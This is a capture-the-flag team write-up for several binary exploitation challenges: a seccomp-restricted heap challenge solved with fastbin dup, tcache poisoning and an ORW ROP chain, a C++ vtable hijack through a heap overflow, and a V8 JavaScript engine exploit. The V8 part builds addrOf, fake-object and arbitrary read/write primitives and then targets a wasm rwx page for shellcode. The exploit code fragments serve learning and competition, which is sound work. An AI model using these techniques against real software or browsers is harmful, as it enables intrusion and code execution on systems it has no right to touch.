Team: Times heals all sorrows Get over, no worries ‘Cause nothing is more precious than love Nobel, faithful, she is as pure as the driven snow Oh dear heart, so sweet
Rank: 9 / 54
Challenge
Category
Points
Solves
gandalf
Description
You are currently playing as Gandalf, a powerful wizard known for exorcising, hunting, and even striking deals with devils or dark spirits. Recently, a friend entrusted you with a Dybbuk Box, an ancient and cursed artifact that holds dark spirits within. To destroy the malevolent entities trapped inside, you need to craft a powerful spell. However, the box is sealed with several intricate locks that must be bypassed before you can open it and confront the chained spirits, putting an end to their dark influence once and for all.
Author: Brandy
nc 103.145.226.92 24234
Analysis
we're given the following files
└──╼ [★]$ tree ..├──gandalf└──libc.so.6
└──╼ [★]$ file gandalf gandalf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.35.so, for GNU/Linux 3.2.0, BuildID[sha1]=9ea52cebbb133f5d4c20f131f5a76514318adc12, stripped
└──╼ [★]$ pwn checksec gandalf Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabledRUNPATH:b'.'
the program is divided into 2 stage, locked and unlocked each with different interface to interact with.
since's the binary is stripped, the function names below are renamed based on my understanding
in the main function we can see that a call to prefix() has to return 1 in order to continue to the next stage
undefined8 main(void){// snippet ...init();print_banner(); p =prefix();if (p !=1) { /* WARNING: Subroutine does not return */exit(0); }do {// snippet ... } while (c !=6);// snippet ...}
this is the interface we're dealing with in the locked stage
the first and fourth option does nothing, the third option provides a format string vuln but I don't find a way for it to return 1, so I take it as a bait
voidfmstr_expl(void){// ... snippetfgets(local_78,100,stdin);printf("[+] Your feedback: ");printf(local_78);// ... snippet}
the only way to continue to the next stage is through the second option
the seed is determined using the current time and thus can be replicated, we can predict the random number easily.
this is the interface when we continue to the unlock stage where it became the typical CRUD Heap challenge, without the Update
first option is the show option
voidread_warning(ulong param_1){ ulong local_10; local_10 = param_1;puts("");puts("Gandalf opened his backpack to use the crafted spell...");printf("Backpack slot: ");__isoc99_scanf("%lu",&local_10);getchar();if (local_10 <0xe) {puts(BACKPACK[local_10]); }else {puts("[+] Invalid Slot."); }return;}
second option is the allocate option
voidlockpicking(ulong param_1,size_t param_2){char*chunk;size_t size; ulong local_20 [2]; ulong idx; size = param_2; local_20[0] = param_1;FUN_00102463();puts("");puts("Gandalf slots are limited to 13.");printf("[+] Choose backpack slot: ");__isoc99_scanf("%lu",local_20);getchar();if (local_20[0] <0xe) {puts("[#] Gandalf has limit for manna usage.");puts("[#] For manna usage is limited from (21 - 1056).");printf("[+] Manna usage: ");__isoc99_scanf("%lu",&size);getchar(); idx = local_20[0]; chunk = (char*)malloc(size); BACKPACK[idx] = chunk;puts("[#] Enter magic phrase");printf(">> ");fgets(BACKPACK[local_20[0]],(int)size,stdin); }else {puts("[+] Invalid Slot."); }return;}
third option is the free option and where the vulnerability lies because the pointer is not cleared enabling UAF
the fifth option does nothing while the fourth option exits and sixth option returns.
I also want to mentioned that the binary applies seccomp
└──╼ [★]$ sudo seccomp-tools dump ./gandalflineCODEJTJFK=================================0000:0x200x000x000x00000004A=arch0001:0x150x000x090xc000003eif (A !=ARCH_X86_64) goto 00110002:0x200x000x000x00000000A=sys_number0003:0x350x000x010x40000000if (A <0x40000000) goto 00050004:0x150x000x060xffffffffif (A !=0xffffffff) goto 00110005:0x150x040x000x00000000if (A ==read) goto 00100006:0x150x030x000x00000001if (A ==write) goto 00100007:0x150x020x000x00000002if (A ==open) goto 00100008:0x150x010x000x00000005if (A ==fstat) goto 00100009:0x150x000x010x0000003cif (A !=exit) goto 00110010:0x060x000x000x7fff0000returnALLOW0011:0x060x000x000x00000000returnKILL
Exploitation
first, to pass the locked stage we simply need to replicate the seed and reverse the random number generation, I wrote the following function to do so:
because of seccomp, we're forced to do an ORW ROP, to do this we need an arbitrary read to environ and arbitrary write to write the ROP payload.
we'll achieve it through tcache poisoning, but without the edit function how are we gonna achieve this?
we can do this through double free, but since libc is 2.35, double free on the tcache will not work, however it is still applicable through the fastbin thus the technique fastbin dup
first we'll allocate the tcache to its max size (7) and then link 3 chunk into fastbin with the pattern A - B - A to cause a double free
for i inrange(9):alloc(i, 0x10, b'a\n')for i inrange(9):free(i)free(7)
to profit, since tcache takes priority, we'll just need to consume all the tcache and then proceed to overwrite the first fastbin's 8 bytes with the target/address you want to achieve read/write, in this case I want to gain arb read to environ to leak stack
for i inrange(7):alloc(i, 0x10, b'a\n')alloc(7, 0x10, p64(mangle(heap+0x1b10, libc.sym['environ'])) +b'\n')alloc(8, 0x10, b'a\n')alloc(9, 0x10, b'a\n')
now we can allocate one more chunk to gain access to it, however notice that the allocate function uses fgets to take input, this means we have to overwrite the contents of it possibly deleting the stack address, even a new line will make the it NULL terminated and puts will unable to print it.
to bypass this we can easily request malloc of size 0x0, this will make malloc default to return a chunk of size 0x20 but since the size passed to fgets is still 0x0, we are not going to input anything to it.
next using the same technique we'll write ROP payload to the stack, however we can't do this within the main's stack frame, this is because before returning, the binary will call sleep() which is not allowed by the seccomp
undefined8 main(void){// ... snippet case 6:puts("");printf("\x1b[1;33m");puts("[#] The game quits in 3 seconds.");puts("[#] ..1");sleep(1);puts("[#] ..2");sleep(1);puts("[#] ..3");sleep(1);printf("\x1b[0m");goto ret;// ... snippet}
which means if wanted to ROP it must be from the stack frame of the fgets call inside the second option's function.
another thing to note is that fastbin holds a maximum size of 88 bytes chunks, which is not big enough for an ORW ROP payload. to get around this, we will write a shorter ROP payload that calls read which then followed by the bigger ORW ROP.
we can see that the leaked address is a global variable called globalbuf, taking a look at init() reveals that globalbuf contains an mmap'ed rwx address.
which is called in two functions, editName and feedback
unsigned __int64 editName(void){// ... snippet v4 = std::operator<<<std::char_traits<char>>(&std::cout,"What's the new name?"); std::ostream::operator<<(v4,&std::endl<char,std::char_traits<char>>); n =getstr(0x50uLL);if ( v9 ==1 ) {// ... snippetmemcpy(*(void**)(*(_QWORD *)v17 +8LL), globalbuf, n); }// ... snippet }elseif ( v9 ==2 ) {// ... snippet {// ... snippet {memcpy(*(void**)(*(_QWORD *)v15 +8LL), globalbuf, n); }// ... snippet } }// ... snippet}unsigned __int64 feedback(void){// ... snippet v0 = std::operator<<<std::char_traits<char>>(&std::cout,"We are by no means perfect, please provide some feedbacks for future improvements!"); std::ostream::operator<<(v0,&std::endl<char,std::char_traits<char>>);getstr(0x30uLL);return v2 -__readfsqword(0x28u);}
in init I also take notice that there's an vector of type Animal reserved for length of 4. as you'll see later there's also a class called Monke and Cat whjch I assumed they're inherited from Animal
I won't bother with decompilation of other of the options as it is quite messy, and with C++ I much prefer dynamic analysis
in short, we can interact with each of the option using the functions below:
I want to mention at this point I had read a bit on reversing C++ objects from these 2 blog:
one thing that stood out to me while reading it is that in every instantiated object, the first 8 bytes always points to the respective class vtable. I wanted to clarify this and also get a bigger picture of the object's attributes
examining in GDB, first is to dereference the object and take the vtable address
then it adds the offset to the table which corresponds to the method it wants to call, in this case it corresponds to makeSound
Exploitation
the vulnerability here is Heap Overflow, using the example in analysis we can see that name occupies a 0x20 sized chunk
however in editName, memcpy copies the amount whatever amount that was returned by prior getstr which is hard coded to input a size of 0x50. we can see this in action
this means we can control the vtable and control what the binary will call upon hearSound, since we have an rwx page, we can put the shellcode there using getStr in feedback and make the object jumps there.
notice that the method that is called is in the 2nd index, so we need to put our shellcode address in the 2nd index of the table.
to do this, the rwx region will act as both the vtable and the place where our shellcode resides.
Ini basic v8 exploit sih dan jangan terlalu overthinking, build dulu version debugnya 12.7.1, belajar dulu bang di https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ walaupun tidak sama tetap bisa bersatu, dulu 64-bit sekarang 32-bit
my first V8 pwn :D
Analysis
The writeup assumes the reader has basic knowledge about V8 exploitation, if you're not familiar with it I suggest these two resource that I used to solve this challenge:
through debug printing and examining the memory I found out we end up with this memory layout:
can be verified through telescope in gdb
Getting Maps
with this, to leak the map of floating array, we can change the length of the float_arr to gain OOB and read float_arr[4] this will return properties | maps, as we only want the maps we'll only grab the lower 32 bits
now alleviating OOB, we can get an address of an object,
functionaddrOf(obj) {// continue...}
first, we'll put the object we want the address of within the array
obj_arr[0] = obj;
then we'll change the obj_array's map into a floating one
float_arr[13] =itof(ftoi(float_arr_map) <<32n);
then, accessing the elements of the obj_array will treated as a raw floating point instead of an object address that will be dereferenced, again because of pointer tagging, the treated raw float is 8 bytes, though the object's address is only the lower 32 bits.
let addr =Number(ftoi(obj_arr[0]) &0xffffffffn);
lastly, restore the map to the original object map to perform cleanup
fake object is one of the most confusing primitive as I first learn V8 exploitation, the purpose of it will eventually be used to gain arbitrary read/write. to better understand this, there's this diagram in the youtube video I linked before that helped me greatly understand this:
the diagram is for V8 version <= 8
the concept is roughly the same as fake chunk in heap exploits, we want to construct a fake object, in this case its JSArray of type floating points. to do this we have to trick the V8 such that a variable will hold an address at the fake object and treat it as an object.
the gist of it is that, later on we will alleviate the fake object's elements to an arbitrary address, accessing the fake object will then dereference the address enabling us able to read/write to it.
functionfakeObj(addr) {// continue...}
first, we'll set obj_arr[0] to the address where we want to put the fake object at, note that I also preserve the length of FixedArray just in case. (if you're getting confused here, take a look again at our memory layout above)
float_arr[12] =itof(0x4n) +itof(addr <<32n);
next, the map of obj_arr is still an object, but for good measures, I decided to make sure that the map is indeed an object array map
float_arr[13] = itof(ftoi(obj_arr_map) << 32n); // also nullifies the 2nd index of obj_arr
next, accessing the element will dereference the address we just put before, since the array is an object type, the V8 will then store variable fake as an object. this is the overall gist of the primitive.
let fake = obj_arr[0];
return fake;
Arbitrary Read
from the diagram before, we're going to craft a fake object within a floating array, so let's setup just that:
var arb_rw_arr = [(float_arr_map), 1.2, 1.3, 1.4];
console.log("[*] arb_rw_arr: 0x" + addrOf(arb_rw_arr).toString(16));
function arb_read(addr) {
if (addr % 2n == 0)
addr += 1n;
// continue...
}
then we'll calculate the offset to our fake object from arb_rw_arr's JSArray
let fake = fakeObj(addrOf(arb_rw_arr) - 0x20n);
then different from V8 below version 8, where we would put our elements at arb_rw_arr[2], since the map and properties are 32 bit each, the elements would be placed at the lower bits at arb_rw_arr[1]
this also applies to the offset when reading, where the map and length in FixedDoubleArray is both 32 bit, the offset would be only 0x8 instead of 0x10 as previously shown in the diagram.
arb_rw_arr[1] = itof(addr - 0x8n);
then when we treat fake as an array, such as fake[0], the V8 will look at the map and confirmed that it is an JSArray of type float and then read at the raw values at *(elements - 0x10).
I tried changing the address to other ones, but it returns the same result
we expect result to contain the map | properties of arb_rw_arr but instead we get what looks like a higher bits of lib address. the reason for this is because our fake object only fakes the map and elements field and completely ignore the properties and length fields.
so let's fix that, I set the properties to 0x725 which seems to be constant throughout the objects I debug printed, for the length it could as arbitrary as you want. we end up with this script for this primitive:
however as explained in the NUS Greyhat's video, copying large amount of memory this way will not work and will cause a segfault (I'm also not sure why), a better way to do this is through the Dataview buffer's backing store
it's basically a field that points to region of memory where you then can use the Dataview methods to alter the content of it.
using the arb_write above, you can overwrite the backing store to point to your arbitrary address and then uses its method to write to it
var array_of_data = [1n, 2n, 3n, 4n]
function copy(addr, data_arr) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrOf(buf);
let backing_store_addr = buf_addr - 1n + 0x2cn;
arb_write(backing_store_addr, addr);
for (let i = 0; i < data_arr.length; i++) {
dataview.setBigUint64(8*i, data_arr[i], true);
}
}
copy(addrOf(where), array_of_data);
Code Execution
to gain code execution, I will go through the web assembly shellcode route, where we will allocate a page for a wasm code to get an rwx page and overwrite it with our shellcode instead.
I initially thought of why bother go through the previous primitives if we're able to execute wasm code anyway, can't we just make the wasm code our malicious code instead? the answer is no because its simply not a valid wasm code (I think lol)
to do this, lets instantiate a valid web assembly:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
the next part is quite different from the blog and video I linked, in their case, the rwx page can be found at an offset from wasm_instace however in this case I found the offset is quite random and not always fixed.
after quite a bit of repeated dp(wasm_instance) I found that the wasm_instance has a field called trusted_data that contains the rwx page, which seems to be at a fixed offset.
so calculate the offset and do the dereferencing stuff, we're able to get a reliable address of the rwx page